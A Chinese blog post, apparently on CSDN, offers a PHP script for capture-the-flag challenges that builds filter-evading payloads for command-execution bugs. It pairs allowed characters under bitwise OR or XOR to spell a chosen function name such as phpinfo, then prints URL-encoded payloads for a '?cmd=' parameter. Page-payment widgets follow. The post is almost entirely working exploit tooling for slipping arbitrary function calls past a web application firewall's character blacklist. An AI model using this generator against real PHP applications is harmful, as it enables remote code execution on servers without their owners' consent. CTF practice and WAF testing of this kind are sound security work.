[CTF脚本] PHP命令执行 字符构造脚本

[CTF脚本] PHP命令执行 字符构造脚本

以后再也不用费尽心思去现场写了

命令执行这种题能秒就秒

使用说明

开始梭之前,只需手动设置以下3个参数:

1.要构造的字符串

$code_required = "phpinfo";

2.使用的运算符,目前可用^和|

$operator = "|";

3.题目给的waf(直接copy)

$waf = '/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i';

然后开始抢1血吧

脚本源码

<?php

/**
 * PHP字符运算构造脚本
 *
 * 功能描述:只需设置要构造的字符串$code_required以及所用运算符$operator,以及题目waf,便可一把suo
 *
 * @author     Lanb0 <2560454149@qq.com>
 * @since      2024/10/25
 */

//要构造的字符串
$code_required = "phpinfo";

//使用的运算符,可用^和|
$operator = "|";

// 可用字符集
$char_list = [];

// 黑名单字符集,大多数题目不会直接给字符集,所以改用waf
//$balck_list = [];

//把题目里的waf规则copy下来
$waf = '/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i';

//格式化结果集1
$result_1="";

//格式化结果集2
$result_2="";
$result_2_one="";
$result_2_two="";

$temp_char='';

function urlencode_completeply($char){
    $char = bin2hex($char);
    $char = "%".$char;
    return $char;
}

// 生成可用字符集
for ($i = 1; $i <= 126; $i++) {

    $temp_char = (chr($i));

    /*if(!in_array($temp_char,$balck_list)){
        $char_list[] = chr($i);
    }*/
    if(!preg_match($waf, $temp_char)&& !in_array($temp_char,['\'','"','\\'])){
        $char_list[] = chr($i);
    }

}


// 开始构造
$pass_flag;
foreach (str_split($code_required) as $code_char){

    $pass_flag = false;

    foreach ($char_list as $i){

        foreach ($char_list as $j){
            // 此处根据需要可更换为其他运算符
             $expression = "'".$i."'".$operator."'".$j."'";
            $char_xor = eval("return $expression;");
            if($char_xor === $code_char){
                //构造第一种格式化结果
                $result_1.=".('".urlencode_completeply(($i))."'".$operator."'".urlencode_completeply(($j))."')";

                //构造第二种格式化结果
                $result_2_one.=urlencode_completeply($i);
                $result_2_two.=urlencode_completeply($j);

                $pass_flag = true;
                break;
            }
        }
        if ($pass_flag) {
            break;
        }

    }
    if (!$pass_flag){
        echo $code_char."在当前可用字符集中没有找到可以构造的一对字符,请尽可能扩大可用字符集(ASCII范围: 1-255)\n";
        exit(0);
    }
    
}
$result_1 = "(".substr($result_1, 1).")"."();";

$result_2 = "("."('".$result_2_one."')" .$operator. "('".$result_2_two."')".")"."();";

//贴心的给出了构造格式,以防能构造但不知道怎么传参的尴尬
echo 'http://xxx.com/?cmd='.$result_1 . "\n";
echo 'http://xxx.com/?cmd='.$result_2 . "\n";
?>
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值